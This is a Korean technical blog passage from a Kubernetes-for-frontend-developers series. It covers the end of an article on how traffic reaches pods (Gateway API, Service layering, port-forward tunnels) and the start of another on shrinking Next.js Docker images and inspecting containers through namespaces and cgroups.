| 분배 주체   | 문 앞의 프록시(다음 절)      | 발신 노드의 iptables + conntrack       |
| 쏠림의 원인 | 프록시 설정의 영역           | 클라이언트의 keep-alive                |

"로컬에선 됐는데"의 상당수가 이 표의 오른쪽 열에서 나온다. 브라우저에서 잘 되는 URL이 SSR에서 느리거나(ndots), SSR에서 잘 되는 내부 이름이 브라우저에서는 아예 존재하지 않는(클러스터 밖에서는 풀리지 않는 이름) 식이다.

> **단서 노트**: 같은 fetch라도 브라우저와 SSR은 이름 해석, 경로, 분배 주체가 전부 다르다. SSR의 내부 호출은 이 글 앞 절들의 세계(ndots, DNAT, conntrack)를 그대로 지난다.

## 바깥의 요청은 어느 문으로 들어오는가: Service 계층과 Gateway

이제 경로의 남은 앞부분, 클러스터 바깥에서 들어오는 문이다. 1편에서 이 문을 Ingress라고 소개했는데, 그 사이 상황이 크게 변했다. 사실상의 표준 구현이던 ingress-nginx가 [2025년 11월에 은퇴를 발표](https://www.kubernetes.dev/blog/2025/11/12/ingress-nginx-retirement/)했고, 2026년 3월에 저장소가 아카이브되면서 보안 패치까지 완전히 끊겼다. 마지막 릴리스의 지원 범위가 Kubernetes 1.35까지라 이 실험 클러스터(v1.36)와도 맞지 않는다. 공식 권장 이전 경로는 [Gateway API](https://gateway-api.sigs.k8s.io/)다. 규칙을 리소스 세 종(GatewayClass는 구현체 선언, Gateway는 리스너, HTTPRoute는 라우팅 규칙)으로 나눈 후속 표준으로, 핵심 리소스는 v1.0(2023년)부터 GA였고 이 글 시점의 최신은 v1.6이다(이 글의 실측은 v1.5.1 CRD 기준). 다만 Ingress API 자체가 폐기된 것은 아니고 폐기 계획도 없다는 것이 공식 입장이라, 지금 돌아가는 Ingress가 당장 깨지는 이야기는 아니다. 은퇴한 것은 API가 아니라 특정 컨트롤러 구현이다.

그래서 이 글의 실측도 Gateway API로 했다. kind에서는 cloud-provider-kind라는 도구가 LoadBalancer와 Gateway를 함께 흉내 내 준다(macOS에서 바이너리로 실행하면 sudo를 요구하는데, 도커 컨테이너로 띄우면 그 제약 없이 동작했다). 먼저 LoadBalancer 타입부터. 같은 파드들을 향하는 LoadBalancer Service를 하나 만들면 이런 출력이 나온다.

```text
$ kubectl get svc k8s-fe-lab-lb
NAME            TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)
k8s-fe-lab-lb   LoadBalancer   10.96.83.209   172.18.0.7    80:30562/TCP
```

한 Service가 주소 세 개를 동시에 갖고 있다. 1편에서 타입 세 가지를 나열만 했는데, 실물은 이렇게 배타적 선택지가 아니라 **중첩된 레이어**다. LoadBalancer는 NodePort(모든 노드에 열리는 30562 포트)를 포함하고, NodePort는 ClusterIP를 포함한다(기본값 기준이며, `allocateLoadBalancerNodePorts: false`로 NodePort 없는 LoadBalancer를 만들 수도 있다). iptables에서도 NodePort로 들어온 패킷이 결국 ClusterIP와 같은 KUBE-SVC 체인으로 합류하는 규칙이 그대로 보인다. 바깥의 로드밸런서가 노드의 포트로 던지면, 거기서부터는 앞 절들에서 본 것과 같은 길이라는 뜻이다.

다음으로 Gateway와 HTTPRoute를 만들어 문을 세우고, 이 문이 어느 길로 파드에 닿는지를 쟀다. 방법은 앞 절과 같은 패킷 카운터 대조다. 우리 Service의 KUBE-SVC 체인 카운터를 세 노드에서 전부 0으로 지운 뒤, 경로별로 새 커넥션 10개씩을 보냈다.

| 유입 경로 (각 10회, 새 커넥션) | 카운터가 오른 위치                    |
| ------------------------------ | ------------------------------------- |
| Gateway(172.18.0.6) 경유       | control-plane 노드의 KUBE-SVC에 8     |
| LoadBalancer(172.18.0.7) 경유  | worker 3 + worker2 7 (LB 자신의 체인) |
| 파드에서 ClusterIP 직접        | 발신 파드가 있는 노드의 KUBE-SVC에 10 |

셋 다 kube-proxy의 규칙을 통과했다. 표의 숫자 두 개에는 부연이 필요하다. LB 행의 카운터가 원래 Service의 체인에 잡히지 않은 것은 LB가 별도 Service(k8s-fe-lab-lb)라서다. 원래 체인은 0에 머물고, LB의 프록시가 여러 노드의 NodePort로 뿌린 결과가 자기 몫의 KUBE-SVC 체인에 3+7로 잡혔다. Gateway 행이 10이 아니라 8인 것은 문 앞의 프록시가 업스트림 커넥션을 자체 관리해서 다운스트림 커넥션 수와 어긋날 수 있기 때문인데, 여기서 증명 대상은 숫자의 크기가 아니라 카운터가 0이 아니라는 사실 쪽이다. 그런데 이 결과를 일반화하기 전에 밝혀 둘 것이 있다. 사실 이 실측은 예상과 반대로 나온 것이다. ingress-nginx를 비롯한 많은 L7 컨트롤러는 [Service를 거치지 않고 EndpointSlice를 직접 구독해서 파드 IP로 바로 프록시하는 것](https://kubernetes.github.io/ingress-nginx/user-guide/miscellaneous/)을 기본으로 삼는다(세션 어피니티나 자체 로드밸런싱 알고리즘을 쓰기 위해서다). 그 우회를 카운터가 멈춰 있는 것으로 보여줄 계획이었는데, 이 환경의 게이트웨이 데이터 플레인(envoy)의 설정을 관리 API로 덤프해 보니 업스트림이 파드 IP 목록이 아니라 ClusterIP 하나였다(발췌의 cx_total, rq_total 값은 덤프를 뜬 시점의 것이라, 위 10회 실험의 숫자와는 별개다).

```text
$ kubectl exec debug -- curl -s http://172.18.0.6:10000/clusters   # 발췌
default_k8s-fe-lab_core_Service_80::10.96.35.226:80::cx_total::1
default_k8s-fe-lab_core_Service_80::10.96.35.226:80::rq_total::1
```

즉 **문이 Service를 우회하는지는 구현에 따라 갈린다.** cloud-provider-kind의 게이트웨이는 ClusterIP로 보내 kube-proxy를 태우고, ingress-nginx나 Envoy Gateway 계열은 파드 IP로 직행한다. 어느 쪽이냐에 따라 "파드 목록의 변화가 문에 반영되는 경로"가 달라지므로(kube-proxy의 규칙 갱신이냐, 컨트롤러 자신의 EndpointSlice 구독이냐), 운영 중인 클러스터에서 이것을 확인하는 방법 자체가 이 절에서 가져갈 도구라고 생각한다. 컨트롤러의 백엔드 목록을 덤프해 파드 IP가 보이면 직행, ClusterIP가 보이면 경유다. 어느 쪽이든 배포 중 트래픽이 새 파드 목록으로 수렴하는 타이밍이 경로마다 따로 논다는 사실은 변하지 않고, 그것이 배포 중 5xx를 다룰 [다음 편](/2026/08/k8s-for-frontend-4)의 재료가 된다.

> **단서 노트**: Service 타입은 선택지가 아니라 계층(LoadBalancer ⊃ NodePort ⊃ ClusterIP)이다. L7의 문이 Service를 우회하는지는 구현에 따라 갈리며, 컨트롤러의 백엔드 덤프로 확인할 수 있다.

## port-forward는 왜 항상 되는가: 터널의 정체

경로의 마지막 조각은 개발 장비에서 매일 쓰는 `kubectl port-forward`다. 1편에서 API 서버를 경유하는 터널이라 실제 트래픽 경로를 하나도 통과하지 않는다고 결론만 적었는데, 이번에는 그 우회가 실제로 어디까지인지 실측으로 채워 본다.

터널의 전송부터. 상세 로그를 켜고 port-forward를 실행하면 정체가 바로 보인다.

```text
$ kubectl port-forward deploy/k8s-fe-lab 18080:3000 -v=6
... url="https://127.0.0.1:.../api/v1/namespaces/default/pods/k8s-fe-lab-...-lhlf9/portforward"
    status="101 Switching Protocols"
... negotiated protocol: portforward.k8s.io
```

API 서버로 HTTP 요청을 보내 WebSocket으로 업그레이드(101)하고, 그 위로 포트의 바이트를 실어 나르는 구조다(예전에는 SPDY라는 사장된 프로토콜을 썼고, [WebSocket 터널](https://kubernetes.io/blog/2024/08/20/websockets-transition/)은 v1.35에서 GA가 됐다). 로그의 URL에서 알 수 있는 것이 하나 더 있다. `deploy/이름`으로 실행했는데 실제 터널은 특정 파드 하나에 붙었다. Service 이름으로 걸어도 마찬가지다.

```text
$ kubectl port-forward svc/k8s-fe-lab 18081:80   # 이후 10회 요청
  10 k8s-fe-lab-5cfb6b8744-lhlf9
```

10번의 요청이 전부 같은 파드다. **port-forward는 svc를 받아도 로드밸런싱하지 않고 파드 하나를 골라 고정한다.** 로컬에서 아무리 두들겨도 분배 문제는 영원히 관찰되지 않는 이유다.

이 터널이 무엇을 우회하는지는 readiness 실험과 교차하면 극적으로 보인다. 앞 절의 토글로 파드 하나의 readiness를 끄고 EndpointSlice에서 ready=false가 된 것을 확인한 상태에서, 세 경로로 접근해 봤다.

| 접근 경로 (같은 NotReady 파드) | 결과                                  |
| ------------------------------ | ------------------------------------- |
| Service 경유 (새 커넥션 20회)  | 그 파드로 0회 (나머지 둘이 11/9 분담) |
| 파드 IP로 직접 curl            | 200 OK (프로세스는 멀쩡히 살아 있다)  |
| 같은 파드로 port-forward       | **200 OK**                            |

Service의 세계에서 이 파드는 존재하지 않지만, port-forward는 명단(EndpointSlice)도 규칙(iptables)도 거치지 않고 파드에 직결되므로 멀쩡히 응답한다. "port-forward로는 되는데 실서비스에서 안 된다"는 상황의 교과서적 사례다. 같은 이유로 NetworkPolicy나 서비스 메시의 mTLS도 이 터널에는 적용되지 않는다.

반대 방향의 함정도 있다. 이 터널의 반대쪽 끝에서는 노드의 containerd가 파드의 네트워크 네임스페이스(2편에서 본 격리 장치) 안으로 들어가 127.0.0.1의 대상 포트로 접속한다. 즉 터널의 종착점이 파드 안의 127.0.0.1인데, [2편에서 확인한 HOSTNAME 함정](/2026/08/k8s-for-frontend-2)(Next.js standalone이 파드 IP에만 바인드되는 문제)과 만나면 증상이 뒤집힌다. HOSTNAME을 고치지 않은 이미지를 일부러 배포하고 세 경로로 접근해 봤다.

| 접근 경로 (파드 IP에만 바인드된 앱) | 결과                                          |
| ----------------------------------- | --------------------------------------------- |
| Service 경유                        | 200 OK (파드 IP로 DNAT)                       |
| readiness probe                     | 통과 (kubelet도 파드 IP로 검사, Ready=True)   |
| port-forward 경유                   | **실패** (반대편의 127.0.0.1 접속이 거부된다) |

실서비스는 멀쩡한데 port-forward만 안 되는, 흔한 고정관념과 정반대의 조합이다. 이렇게 port-forward는 실제 경로와 겹치는 구간이 없어서, 잘 되는 것도 안 되는 것도 프로덕션의 상태와는 별개의 사건이 된다. 디버깅 도구로서의 가치는 그대로지만, 검증 도구로 쓰기에는 이 표가 보여주는 대로 실제 경로와의 교집합이 없다.

> **단서 노트**: port-forward는 API 서버를 경유하는 WebSocket 터널로 파드 하나의 127.0.0.1에 직결된다. Service, EndpointSlice, iptables, NetworkPolicy 어느 것도 통과하지 않으므로, 그 결과는 실제 경로에 대해 아무것도 증명하지 않는다.

## '로컬에선 됐는데'를 만났을 때

이 글에서 확인한 세 경로를 한 표로 겹쳐 보면, 어떤 증상이 어느 층의 문제인지 역산하는 지도가 된다.

| 통과하는 층          | 브라우저 (문 경유) | SSR 내부 호출 | port-forward |
| -------------------- | :----------------: | :-----------: | :----------: |
| 클러스터 DNS (ndots) |         X          |       O       |      X       |
| L7 문 (Gateway 등)   |         O          |       X       |      X       |
| ClusterIP DNAT 규칙  |    구현에 따라     |       O       |      X       |
| EndpointSlice 명단   |         O          |       O       |      X       |
| conntrack 분배 고정  |    구현에 따라     |       O       |      X       |

이 지도 위에서, 자주 만나는 증상별로 어디를 먼저 열어 볼지 정리해 둔다.

| 증상                                     | 먼저 열어 볼 것                                                       |
| ---------------------------------------- | --------------------------------------------------------------------- |
| port-forward는 되는데 실서비스가 안 된다 | Service의 selector와 targetPort, 그리고 EndpointSlice의 ready 조건    |
| 파드 IP로는 되는데 ClusterIP로 안 된다   | 그 노드의 KUBE-SVC 체인 (kube-proxy 상태)                             |
| 레플리카를 늘렸는데 한 파드만 바쁘다     | 클라이언트의 keep-alive (conntrack 고정)                              |
| 내부 호출만 간헐적으로 느리다            | resolv.conf의 ndots와 표기, 커넥션이 한꺼번에 갈리는 시점의 조회 폭증 |
| Service는 되는데 port-forward만 거부된다 | 앱의 바인드 주소 (2편의 HOSTNAME 함정)                                |
| `get endpoints`에 경고가 뜬다            | 정상이다. EndpointSlice로 읽는 습관으로 넘어갈 때가 됐다는 신호       |

각 행의 확인 방법은 본문의 해당 절에 실측 그대로 있으니, 여기서는 증상에서 층을 찾는 용도로만 쓰면 된다.

> **단서 노트**: 증상은 층을 특정한다. 세 경로가 전부 통과하는 층이 하나도 없다는 사실이 진단의 지렛대다.

## 정리: 수수께끼의 답

존재하지 않는 IP를 추적한 결과를, 각 절의 단서 노트를 모아 다시 적어 본다.

- **ClusterIP는 어디에도 없다.** 각 노드의 NAT 규칙 안에 문자열로 존재하고, 커널이 목적지를 파드 IP로 바꿔 쓴다. 확률의 폭포(1/3, 1/2, 나머지)가 로드밸런싱의 전부였고, ICMP를 매칭하는 규칙은 0개였다.
- **분배는 커넥션이 태어날 때 한 번뿐이다.** conntrack이 그 결정을 고정하므로, keep-alive가 기본인 Node fetch의 연속 호출 30번은 한 파드로 갔다. 커넥션을 오래 쥐는 클라이언트에게 Service의 분배는 사실상 없다.
- **readiness는 명단 제거가 아니라 조건 전환이다.** EndpointSlice의 ready가 뒤집히기까지 11초 중 10.6초가 probe 감지 창이었고 전파는 1초 미만이었으며, 그 사이 826개 요청에 에러는 없었다(앱 자체는 내내 정상이었던 실험 조건에서의 이야기다). 탈락은 신중하게(3연속 실패), 복귀는 빠르게(1회 성공) 설계되어 있다.
- **이름의 표기가 성능이다.** ndots:5 때문에 정식 FQDN이 8쿼리로 가장 느리고 단축명이 2쿼리로 가장 빠르며, 외부 도메인 조회도 8쿼리로 증폭된다. 조회는 커넥션 단위라 스파이크 때 몰린다.
- **SSR의 fetch와 브라우저의 fetch는 다른 길이다.** 이름 해석부터 분배 주체까지 겹치는 층이 없고, 내부 호출은 이 글의 세계(search 순회, DNAT, conntrack 고정)를 그대로 지난다.
- **바깥의 문이 Service를 우회하는지는 구현에 따라 갈린다.** 이 실험의 게이트웨이는 ClusterIP를 경유했고, ingress-nginx 계열은 파드 직행이 기본이다. 컨트롤러의 백엔드 덤프가 판별법이다.
- **port-forward는 그 전부를 지나치지 않는다.** 명단에서 빠진 파드에도 닿고, 파드 IP에만 바인드된 앱에는 유일하게 실패한다. 로컬의 성공과 실패는 프로덕션에 대한 증거가 아니다.

[파드 사이징 글](/2026/08/nodejs-k8s-pod-sizing)에서 그레이스풀 셧다운을 다루며 "iptables·로드밸런서가 수렴할 때까지"라는 표현을 썼는데, 그 수렴이 정확히 무엇인지가 이번 편으로 채워진 셈이다. 그리고 이번 편 내내 미뤄 둔 조건이 하나 남아 있다. EndpointSlice의 세 번째 조건인 terminating, 즉 파드가 죽으면서 명단에서 빠지는 경우다. 살아 있는 파드의 ready 전환은 에러 0개로 우아했지만, 종료할 때도 그러리라는 보장은 없다. 종료 신호와 명단 제거는 어떤 순서로 진행되는가, 그 틈에서 새는 5xx의 정체는 무엇인가. 다음 편인 [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 그 경주를 재현하고, 설정으로 5xx를 0으로 만드는 과정을 다룬다.

---

Source: https://yceffort.kr/2026/08/k8s-for-frontend-2.md
Title: 내 Next.js 앱은 어떻게 <em>파드</em>가 되는가: 컨테이너와 파드를 직접 열어본 기록
Description: 같은 Next.js 앱인데 이미지 하나는 1.72GB, 하나는 208MB였다. 사라진 1.5GB를 레이어에서 역추적하고, 컨테이너가 격리된 프로세스라는 것을 PID와 cgroup 파일로 직접 확인한다. 프론트엔드 개발자를 위한 쿠버네티스 시리즈의 두 번째 편이다.
Date: 2026-08-05
Tags: kubernetes, docker, nextjs, nodejs, frontend
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 다섯 줄짜리 Dockerfile이 만든 1.72GB

처음 SSR 서비스를 컨테이너에 담던 때를 떠올려 보면, Dockerfile은 어딘가에서 복사해 온 것이었다. `FROM node`, `COPY . .`, `RUN npm ci`, `RUN npm run build`, `CMD npm start`. 다섯 줄이면 빌드가 됐고, 파이프라인에 태우니 배포도 됐고, 이미지가 얼마나 큰지는 들여다볼 이유가 없었다. 그 시절의 Dockerfile을 이 글의 예제 앱으로 그대로 재현해 빌드하면 1.72GB가 나온다. 예제 앱의 코드와 빌드 산출물은 다 합쳐도 42.5MB인데, 이미지 전체가 그 40배를 넘는다. 앱이 아닌 무언가가 나머지 전부를 차지하고 있는 것이다.

같은 앱을 담는 방법을 바꾸면 이 숫자는 208MB까지 내려간다. 기능은 하나도 다르지 않다. 이 글은 그 사이에 있는 약 1.5GB의 정체를 `docker history`로 한 층씩 열어보는 데서 시작해서, 컨테이너가 실제로 무엇인지(작은 VM이 아니다), 그 컨테이너 안에서 Node.js가 무엇을 보는지, 그리고 쿠버네티스가 그 컨테이너를 파드로 감싸 노드에 올리기까지 무슨 일이 일어나는지를 직접 측정한 값으로 따라간다.

이 글은 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 두 번째 편이다. [1편](/2026/08/k8s-for-frontend-1)에서 용어와 개념을 정리했다면, 이번 편부터는 그것들을 직접 실행하고 측정한다. 첫 대상이 컨테이너와 파드다. 이후 [트래픽 경로](/2026/08/k8s-for-frontend-3), [파드의 삶과 죽음](/2026/08/k8s-for-frontend-4), 오토스케일링으로 이어지고, 종착점은 이미 공개한 [Node.js 파드 사이징 글](/2026/08/nodejs-k8s-pod-sizing)로, 시리즈의 심화편에 해당한다.

> 측정 환경: Apple M5(10코어, 24GB RAM) macOS 위에 colima VM(4 CPU/8GB, Docker 29.5.2)을 두고 측정했다. 쿠버네티스는 kind v0.32.0(kindest/node v1.36.1, Kubernetes v1.36.1), 예제 앱은 **Next.js 16.2.12**를 standalone으로 빌드했고, 컨테이너의 Node는 node:24 이미지 기준 **v24.19.0**이다. 이미지 크기는 arm64 아키텍처, 압축을 푼(디스크에 놓인) 크기 기준이다. 절대치는 환경마다 다르지만, 이 글이 보려는 것은 절대치가 아니라 구조다.

## 이 글의 순서

우리가 작성한 코드는 이미지, 컨테이너, 파드, 배포라는 네 단계를 거쳐 서비스되는 프로세스가 된다. 글도 이 순서를 따른다. 각 단계에서 확인하게 될 것을 한 줄씩만 미리 적어 두면 이렇다.

코드는 먼저 **이미지**가 된다. 여기서 확인할 것은 이미지의 대부분이 우리 앱이 아니라는 사실이다(실측에서 앱은 2.5%였다). 이미지는 실행되어 **컨테이너**가 되는데, 이 컨테이너의 실체는 작은 VM이 아니라 격리 장치를 두른 프로세스 하나다. 같은 프로세스가 안에서는 PID 1, 밖에서는 PID 7656으로 보이는 것을 직접 확인한다. 그 컨테이너를 쿠버네티스가 **파드**로 감싸면서 IP와 자원 계약이 붙는데, 파드 안의 컨테이너들이 정말로 네트워크를 공유하는지도 여기서 직접 확인한다. 마지막으로 `kubectl apply` 한 번이 이 모든 단계를 거쳐 **배포**가 되는 과정을 이벤트 로그로 초 단위까지 따라가고, 그 끝에서 Next.js standalone과 쿠버네티스의 궁합 문제(HOSTNAME 함정) 하나를 만난다.

파드, kubelet, readiness 같은 용어가 아직 낯설다면 [1편의 용어·개념 정리](/2026/08/k8s-for-frontend-1)를 먼저 읽는 것을 권한다. 다만 처음 나오는 개념은 이 글 안에서도 그 자리에서 짧게 풀었으니, 바로 읽어 나가도 지장은 없다.

## 이미지: 앱을 통째로 찍은 스냅샷

이미지(image)는 앱과 그 실행에 필요한 파일시스템 전체를 찍어둔 스냅샷이다. 실행 파일이 아니라 파일 뭉치라는 점이 중요하다. 서두의 다섯 줄짜리 Dockerfile을 실제로 빌드해서 이 뭉치를 열어보는 데서 시작한다. 예제 앱은 Next.js 16의 기본 구성에 SSR 페이지와 API 라우트 두 개를 얹은 최소 구성이다.

```dockerfile
FROM node:24
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY . .
RUN npm run build
EXPOSE 3000
CMD ["npm", "start"]
```

이렇게 빌드한 이미지가 1,715MB다. 이미지는 레이어(layer, Dockerfile의 명령 하나가 대체로 만드는 층)를 겹쳐 쌓은 것이라, `docker history`로 층별 명세를 볼 수 있다. 어디서 온 것인지 알기 쉽게 묶으면 이렇게 나뉜다.

| 레이어                                      |   크기 | 누가 넣었나      |
| ------------------------------------------- | -----: | ---------------- |
| Debian(bookworm) 베이스                     |  155MB | `node:24` 베이스 |
| ca-certificates, curl 등 기본 유틸          |   52MB | `node:24` 베이스 |
| git, mercurial, openssh 등 버전 관리 도구   |  200MB | `node:24` 베이스 |
| gcc, g++, imagemagick, 각종 -dev 라이브러리 |  592MB | `node:24` 베이스 |
| Node.js 24.19 본체 + yarn                   |  215MB | `node:24` 베이스 |
| `npm ci` (node_modules)                     |  458MB | 우리 Dockerfile  |
| `npm run build` (.next)                     | 42.5MB | 우리 Dockerfile  |

이 표에서 두 가지가 보인다. 첫째, 우리가 만든 것은 맨 아래 두 줄, 그중에서도 앱 산출물이라 부를 만한 것은 42.5MB뿐이다. 둘째, `node:24` 베이스 이미지 혼자 1.2GB를 차지하는데, 그 절반이 gcc와 g++, imagemagick, 수십 개의 `-dev` 헤더 패키지 같은 **빌드 도구**다. `node:24`가 게을러서가 아니다. 네이티브 애드온(C++로 작성되어 설치 시 컴파일이 필요한 npm 패키지)을 어떤 환경에서도 빌드할 수 있도록 준비물을 다 갖춘, 의도적으로 완전하게 만든 이미지다. 문제는 그 준비물이 빌드가 끝난 뒤의 **실행 시점**에는 필요 없다는 것이다. 컴파일러를 서비스와 함께 배포하고 있었던 셈이다.

그래서 감량은 두 방향에서 이뤄진다. 베이스 이미지를 바꾸는 것과, 담는 파일을 줄이는 것이다. 단계별로 재보면 이렇게 내려간다.

| 단계                                        | 디스크 크기 | 전송(압축) 크기 |
| ------------------------------------------- | ----------: | --------------: |
| `node:24` + 전체 node_modules + `npm start` |     1,715MB |           590MB |
| `node:24-slim`으로 베이스만 교체            |       767MB |           270MB |
| 멀티스테이지 + standalone 출력              |       304MB |            91MB |
| 러너만 `node:24-alpine`으로                 |       208MB |            69MB |

첫 감량은 베이스 교체다. `node:24-slim`은 같은 Debian에서 빌드 도구와 VCS를 뺀 이미지로, 그것만으로 948MB가 사라진다. 두 번째 감량이 이 절의 본론인 standalone이다.

### standalone: 458MB의 node_modules가 37MB가 되는 이유

`next.config.mjs`에 한 줄을 추가하면 빌드 출력이 달라진다.

```js
const nextConfig = {
  output: 'standalone',
}
```

이렇게 하면 `next build`가 `.next/standalone` 디렉토리에 **자립형 서버 사본**을 만든다. 핵심은 Next.js가 빌드 과정에서 실제 실행 경로가 참조하는 파일을 추적해서, `node_modules`에서 그 파일들만 골라 담는다는 것이다. 개발 의존성, 빌드에만 쓰인 패키지, 참조되지 않는 코드가 전부 빠진다. 이 예제에서 그 결과가 458MB 대 37.3MB다. 12분의 1이 된 셈인데, 앱이 커져도 이렇게 줄어드는 경향 자체는 유지된다. 실행에 필요한 것은 전체 의존성 트리의 일부이기 때문이다.

남은 것은 이 사본만 최종 이미지에 담는 것이다. 빌드는 도구가 다 있는 단계에서 하고, 결과물만 가벼운 단계로 옮기는 멀티스테이지 빌드다.

```dockerfile
FROM node:24-slim AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci

FROM node:24-slim AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build

FROM node:24-slim AS runner
WORKDIR /app
ENV NODE_ENV=production
COPY --from=build /app/.next/standalone ./
COPY --from=build /app/.next/static ./.next/static
EXPOSE 3000
CMD ["node", "server.js"]
```

마지막 `runner` 스테이지에는 `npm ci`도 `COPY . .`도 없다. standalone 사본과 정적 파일만 얹는다. 그 결과가 304MB이고, 러너 베이스를 alpine으로 바꾸면 208MB다. 서두의 1,715MB와 비교하면 8분의 1이다.

> 재보다가 알게 된 표기 문제 하나. 최근 도커(containerd 이미지 스토어)의 `docker image ls`는 압축본과 압축 해제본을 **합친** 디스크 사용량을 보여준다. 그래서 위의 1,715MB짜리 이미지가 목록에는 2.31GB로 찍힌다. 이 글의 숫자는 `docker history` 합산, 즉 압축을 푼 파일시스템 기준으로 통일했다.

크기가 왜 중요한지는 정직하게 말할 필요가 있다. 노드에 이미지가 이미 캐시되어 있다면 큰 이미지도 실행 속도에는 영향이 없다. 값을 치르는 순간은 **이미지가 없는 노드에 파드가 처음 뜰 때**다. 새 노드가 추가됐을 때, 스케일 아웃으로 낯선 노드에 배치됐을 때, 배포 직후 전체 노드가 새 이미지를 받을 때. 전송 크기 590MB와 69MB의 차이는 그 순간마다 레지스트리에서 내려받는 시간과 대역폭의 차이가 된다. 트래픽 스파이크에 몇 초 안에 새 파드가 떠야 하는 상황([오토스케일링 편](/2026/08/k8s-for-frontend-5)의 주제다)에서 이 차이는 그대로 응답 지연이 된다. 이미지 감량은 최적화 테크닉이라기보다, 실행에 필요 없는 파일을 이미지에서 빼는 일에 가깝다.

## 컨테이너: 격리 장치를 두른 프로세스

이미지를 실행하면 컨테이너가 된다. 그런데 이 "실행된 것"의 정체를 작은 가상 머신으로 상상하면, 이후의 모든 직관이 조금씩 어긋난다. 컨테이너에는 부팅할 OS도, 별도의 커널도 없다. 실체는 **호스트 커널 위에서 격리 장치를 두르고 도는 평범한 프로세스**다. 이건 비유가 아니라 관찰 가능한 사실이라, 직접 확인해 보는 것이 가장 빠르다.

standalone 이미지를 CPU 1개, 메모리 256MB 제한으로 띄우고, 안과 밖에서 같은 프로세스를 찾아본다.

```bash
$ docker run -d --rm --name pid-demo --cpus=1 --memory=256m k8s-fe-lab:standalone

# 컨테이너 안에서 본 세계 (이름이 잘린 이유는 아래에서)
$ docker exec pid-demo cat /proc/1/comm
next-server (v

# 호스트(리눅스 VM)에서 본 같은 프로세스
$ docker inspect -f '{{.State.Pid}}' pid-demo
7656
$ ps -o pid,ppid,comm -p 7656
    PID    PPID COMMAND
   7656    7632 next-server (v
$ ps -o pid,comm -p 7632
    PID COMMAND
   7632 containerd-shim
```

같은 `next-server` 프로세스가 안에서는 PID 1이고, 밖에서는 PID 7656이다. 이름이 잘린 것도 짚고 가면, Next.js는 `start-server.js`에서 `process.title = 'next-server (v16.2.12)'`로 이름을 지정하는데, 리눅스에서 프로세스 타이틀은 원래 명령줄이 차지하던 argv 메모리 위에 덮어쓰는 방식이라 `node server.js`라는 원래 명령의 길이(14자)만큼만 담긴다. comm에는 15자라는 커널 제한도 따로 있지만, 여기서 잘린 원인은 그쪽이 아니라 argv 공간이다(긴 명령줄로 실행해 보면 타이틀은 온전하고 comm만 정확히 15자에서 잘리는 것으로 구분된다). 부모는 containerd-shim이라는 컨테이너 런타임의 관리 프로세스다. 다시 말해 호스트 입장에서 컨테이너란 프로세스 트리의 한 가지일 뿐이고, `ps`로 보이는 이웃 프로세스와 다를 게 없다. 다른 것은 커널이 이 프로세스에게 씌워둔 두 레이어의 장치다.

첫 번째 레이어가 **namespace**다. 프로세스에게 보여주는 세계를 분리한다. PID namespace 덕에 컨테이너 안에서는 자기가 PID 1이고 다른 프로세스가 보이지 않으며, 네트워크 namespace 덕에 자기만의 네트워크 인터페이스를 가지고, 마운트 namespace 덕에 이미지의 파일시스템이 루트(`/`)로 보인다. 격리의 "보이는 것" 담당이다.

두 번째 레이어가 **cgroup**이다. 보이는 것이 아니라 쓰는 양을 제한한다. 호스트에서 이 프로세스의 cgroup을 따라가 보면, 아까 `docker run`에 준 제한이 파일로 그대로 적혀 있다.

```bash
$ cat /proc/7656/cgroup
0::/docker/f00ea3e52f44...

$ cat /sys/fs/cgroup/docker/f00ea3e52f44.../memory.max
268435456        # 256MB
$ cat /sys/fs/cgroup/docker/f00ea3e52f44.../cpu.max
100000 100000    # 100ms마다 100ms어치 = 1코어
```

`--memory=256m`이라는 도커 옵션의 실체는 이 `memory.max` 파일에 적힌 숫자 하나다. 쿠버네티스의 메모리 limit도, 뒤에서 볼 파드의 자원 계약도, 끝까지 따라가면 전부 이 파일에 도착한다. [파드 사이징 글](/2026/08/nodejs-k8s-pod-sizing)에서 OOMKill과 CFS 스로틀을 다뤘는데, 그 강제가 일어나는 곳이 바로 여기다.

호스트를 건물 하나로 비유하면 이 구조가 한 장에 들어온다. 호스트 커널은 건물의 골조와 설비이고 모든 호실이 공유한다. 컨테이너는 호실 하나다. namespace는 호실의 벽이라 옆집이 보이지 않게 하고, cgroup은 임대 계약서라 전기와 수도를 얼마나 쓸 수 있는지 적혀 있다. VM은 설비(커널)까지 따로 짓는 단독주택이다. 튼튼하지만 무겁고, 그래서 컨테이너에는 VM에 있는 "부팅"이 없다. 시작이 프로세스 실행만큼 빠른 이유, 커널 수준의 격리는 VM보다 약한 이유, 그리고 PID 1인 프로세스가 죽으면 컨테이너가 통째로 죽는 이유([파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 종료 신호 이야기로 다시 만난다)가 전부 이 구조에서 따라 나온다.

### 컨테이너 안의 Node가 보는 세계는 절반이 거짓말이다

프로세스에게 가짜 세계를 보여주는 데는 부작용이 있다. 안에서 도는 Node.js가 시스템 정보를 물었을 때, 커널이 돌려주는 답이 **어떤 것은 호스트 기준이고 어떤 것은 cgroup 기준**이라는 점이다. 같은 이미지를 제한 조건만 바꿔 띄우고, 안에서 Node가 보는 값을 정리하면 이렇게 나온다.

| 값                                       | 호스트(macOS) | 컨테이너(제한 없음) | `--cpus=1 --memory=512m` |
| ---------------------------------------- | ------------: | ------------------: | -----------------------: |
| `os.cpus().length`                       |            10 |                   4 |                    **4** |
| `os.availableParallelism()`              |            10 |                   4 |                    **1** |
| `os.totalmem()`                          |          24GB |               7.9GB |                **7.9GB** |
| `v8.getHeapStatistics().heap_size_limit` |      4,288MiB |            2,240MiB |               **259MiB** |
| cgroup `memory.max`                      |             - |                 max |              536,870,912 |

